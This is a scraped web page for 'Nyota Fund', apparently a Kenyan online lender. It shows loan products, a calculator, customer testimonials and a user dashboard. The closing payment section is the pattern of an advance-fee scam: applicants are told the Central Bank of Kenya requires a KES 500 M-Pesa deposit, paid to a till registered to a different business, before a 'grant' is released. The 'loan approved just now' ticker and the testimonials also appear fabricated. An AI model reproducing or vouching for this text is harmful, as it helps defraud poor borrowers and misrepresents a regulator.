"Nyota Fund transformed my small business with their quick and affordable loan!"

- Jane Wanjiku, Nairobi

Loan Approved

0721****77 loaned Ksh 15,000 - just now

Affordable Loans for Kenyans

Get the financial support you need with flexible repayment options and competitive interest rates. Your dreams are within reach with Nyota Fund.

Our Loan Products

We offer a variety of loan products tailored to meet your specific needs

Personal Loans

Get funds for personal expenses, education, medical bills, or home improvements with flexible repayment terms.

Business Loans

Grow your business with our tailored financing solutions for startups, expansion, or working capital.

Education Loans

Invest in your future with our education loans covering tuition, books, and living expenses.

Agricultural Loans

Support your farming activities with loans for equipment, seeds, livestock, and farm expansion.

Our Loan Products

We offer a variety of loan products tailored to meet your specific needs

Personal Loans

Get funds for personal expenses, education, medical bills, or home improvements with flexible repayment terms.

  • Loan amount: KES 5,000 - 50,000
  • Repayment period: 3 - 24 months
  • Interest rate: 12% per annum

Business Loans

Grow your business with our tailored financing solutions for startups, expansion, or working capital.

  • Loan amount: KES 5,000 - 50,000
  • Repayment period: 6 - 36 months
  • Interest rate: 10% per annum

Education Loans

Invest in your future with our education loans covering tuition, books, and living expenses.

  • Loan amount: KES 5,000 - 50,000
  • Repayment period: 12 - 48 months
  • Interest rate: 8% per annum

Agricultural Loans

Support your farming activities with loans for equipment, seeds, livestock, and farm expansion.

  • Loan amount: KES 5,000 - 50,000
  • Repayment period: 6 - 24 months
  • Interest rate: 9% per annum

Loan Calculator

Your Loan Details

Monthly Payment: KES 0

Total Payment: KES 0

Total Interest: KES 0

How It Works

Getting a loan from Nyota Fund is simple and straightforward

1

Apply Online

Fill out our simple online application form with your personal and financial details. It takes less than 10 minutes to complete.

2

Get Approved

Our team will review your application and provide approval within 24 hours. We have a 95% approval rate for qualified applicants.

3

Receive Funds

Once approved, the funds will be disbursed directly to your bank account or M-Pesa within 2 hours of approval.

4

Repay Easily

Make convenient repayments through mobile banking, bank transfer, or M-Pesa. Set up automatic payments for hassle-free repayment.

What Our Customers Say

"Nyota Fund helped me expand my small business when no other lender would. The process was quick and the staff was very helpful. I received the funds in my account within 3 hours of approval!"

- Jane Wanjiku, Nairobi

"I needed funds for my daughter's university education. Nyota Fund provided a loan with reasonable terms that made it possible. The flexible repayment options have been a lifesaver for our family."

- David Ochieng, Kisumu

"The agricultural loan I received helped me purchase better seeds and equipment. My harvest has doubled this season! I'm now able to support my family and even hire two additional workers."

- Mary Atieno, Nakuru

"As a young entrepreneur, getting funding was challenging until I found Nyota Fund. They believed in my business idea and provided the capital I needed to get started. Highly recommended!"

- Brian Kamau, Mombasa

"When medical bills were piling up, Nyota Fund came through with a personal loan that saved us. The application was simple and the customer service was exceptional throughout the process."

- Grace Auma, Eldoret

"I've taken three loans from Nyota Fund over the years for my retail business. Each time the process gets smoother. Their loyalty program with reduced interest rates for returning customers is fantastic."

- Samuel Njoroge, Thika

Contact Us

We're here to help you achieve your financial goals. Get in touch with us today.

Visit Our Office

Nyota Fund Building
Kenyatta Avenue
Nairobi, Kenya

Call Us

+254 700 123 456
+254 711 987 654
Mon-Fri: 8am-5pm

Email Us

info@nyotafund.co.ke
support@nyotafund.co.ke
loans@nyotafund.co.ke

Live Chat

Available during business hours
Quick responses
Expert assistance

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Welcome to Nyota Fund, User!

We're excited to have you on board. Your financial journey starts here. Explore our loan products and take the first step towards achieving your goals.

Welcome to Your Dashboard, User!

Current Loan Balance

KES 0

Next Payment Due

No active loans

Credit Score

Good (720)

Available Credit

KES 100,000

Loan Application Form

Loan amount must be between KES 2,000 and KES 50,000

Your Account savings Payment

Payment Instructions

Activate NYOTA FUND GRANT application, the Central Bank of Kenya (CBK) requires you to deposit the amount below to activate your account for prompt and uninterrupted grant disbursement via M-Pesa (Regulated by CBK). :

  1. Go to M-Pesa on your phone
  2. Select "Lipa Na M-Pesa"
  3. Select "Buy Goods and Services"
  4. Enter Till Number: 8326404
  5. Enter Amount: KES 500
  6. Enter your M-Pesa PIN and confirm
  7. Wait for confirmation message

Payment Details

Business Name: SPARK INNOVATION VENTURES

8326404

KES 500

M-Pesa Verification

After making the payment, please paste the M-Pesa confirmation message below for verification:

Error! Wrong message

Payment Verified Successfully!

Your account savings fee payment has been verified. Your loan application is now complete and under review.

We will contact you within 24 hours with the loan decision.

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